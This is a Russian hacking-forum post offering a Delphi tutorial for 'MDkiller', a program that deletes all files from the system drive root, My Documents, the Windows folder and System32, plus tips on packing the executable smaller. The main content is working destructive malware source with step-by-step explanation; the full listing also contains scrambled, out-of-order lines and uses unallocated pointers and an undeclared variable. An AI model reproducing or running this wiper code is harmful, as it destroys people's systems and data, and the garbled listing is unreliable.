Форум HackinG-EvolutioN
Главная | RSS
[ Новые сообщения · Участники · Руководство · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Мастдай-киллер на Делфи
Angel][Дата: Пятница, 10.04.2009, 14:48 | Сообщение # 1
Здесь недавно
Группа: Главный Модератор
Сообщений: 34
Награды: 0
Репутация: 2
Статус: Отсутствует
Сегодня мы напишем простенькую программку на Делфи, убивающую операционную систему Windows (a.k.a. Must Die). Даже не просто убивающую, а удаляющую все файлы, лежащие в корне того диска, где стоит OC, папке "Мои Документы", директории Windows, системной директории Windows, папке System32. Например если ты установил Мастдай в C:Windows, то при запуске проги будут удалены все файлы (но не папки) из: C:; C:Windows, C:Мои Документы, C:WindowsSystem,
C:WindowsSystem32.
Итак, приступим к делу. Project -> View Source. Здесь удаляем все лишнее, чтобы в результате получилось следующее:

program MDkiller;
uses
Windows, Sysutils;
begin
end.
Теперь Делфя готова к работе. :))
Дополним это еще несколькими строками:
program MDkiller;
uses
Windows, Sysutils;
var { обьявление переменных}
S: Tsearchrec;
a1,a2,a3,a4,a5: string;
F: File;
p,p1: pchar;
begin
GetWindowsDirectory(p, max_path); {определяем директорию, где установлена Windows}
a1:= strpas(p) + ''; {переводим возвращенный параметр из типа PChar в строковый тип и дополняем путь к директории Windows символом ''}
a2:= a1[1]+ ':'; {определяем диск, на котором установлена ОС}
a3:= a2 + 'Мои Документы'; {определяем папку "Мои Документы"}
getsystemdirectory(p1,max_path); {определяем cистемную директорию}
a4:= strpas(p1) ; {переводим возвращенный параметр из типа PChar в строковый тип } a5:= a4 + '32'; {определям System32}
a6:= a4 + ''; {дополняем путь к системной директории символом ''}
end.

Разберемся, что мы сделали smile
Переменные S: Tsearchrec и F: File необходимы для последующей процедуры поиска файлов в заданных директориях. Остальные переменные типа string и pchar нужны для определения необходимых параметров и перевода их в понятный фугкциям FindFirst и FindNext язык. Для определения системной директории и директории Windows мы использовали функции WinAPI
GetWindowsDirectory и GetSystemDirectory. Пути к нужным директориям определены, осталось удалить из них файлы. smile

Для поиска и удаления воспользуемся функциями FindFirst и FindNext.
if FindFirst(a1 + '*.*',faanyfile,S) <> 0 then FindClose(S) else { если функция FindFirst
возвращает значение не ноль - завершить поиск, если ноль тогда продолжить}
repeat {продолжать} deletefile(a1 + S.name); {удаление найденного файла}
until {пока}
Findnext(S) <> 0; {не возвращено значение ноль}
FindClose(S);{тогда закончить поиск}
if FindFirst(a2 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a2 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a3 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a3 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a4 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a4 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a5 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a5 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
end.

Вот и все. Я откомментировал удаление файлов только из директории Windows, т.к. в других случаях происходит почти то же самое - поиск и удаление файлов до тех пор, пока не будет возвращено значение не ноль ( <>0), т.е. файлов в указанной директории больше нет. Замечу, что удаление файлов из папок, находящихся в заданных директориях, производиться не будет, т.к. это требует усложнения алгоритма поиска.Я написал прогу с использованием WinAPI и Sysutils, так ее размер составил 42КВ, а зажатая ASPack'ом она стала весить всего 26КВ. Если
не использовать Sysutils, а описать поиск файлов, используя FindFirstFile и FinfNextFile из WinAPI можно получить размер екзешника - 17 KB, сжатый ASPack'ом - 15KB!

Полный листинг проги:
program MDkiller;
uses
Windows, Sysutils;
var
S: Tsearchrec;
a1,a2,a3,a4,a5,a6: string;
F: File;
p,p1: pchar;
begin
GetWindowsDirectory(p, max_path);
a1:= strpas(p) + '';
a2:= a1[1]+ ':';
a3:= a2 + 'Мои Документы';
GetSystemDirectory(p1,max_path);
a4:= strpas(p1) ;
a5:= a4 + '32';
a6:= a4 + '';
if FindFirst(a1 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a1 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a2 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a2 + S.name);
until
Findnext(S) <> 0;
S) else
repeat
FindClose(S);
if FindFirst(a3 + '*.*',faanyfile,S) <> 0 then FindClose(
deletefile(a3 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a4 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a4 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a5 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a5 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
end.


Мне говорили: «Ты злой», и я соглашался. Мне говорили: «Ты не злой», и я не находил возражений. Сам-то я не хотел ни добра, ни зла и даже не думал об этом. Я просто шел своим Путем, а люди потом подбирали названия для моих поступков.
 
  • Страница 1 из 1
  • 1
Поиск:


Подробная cтатистика Форума
Самые популярные темы Активные пользователи Последние сообщения
Последние зарегистрированные пользователи Лучшие пользователи

Активные пользователи за последние 24 часа/часов
Copyright MyCorp © 2025
Конструктор сайтовuCoz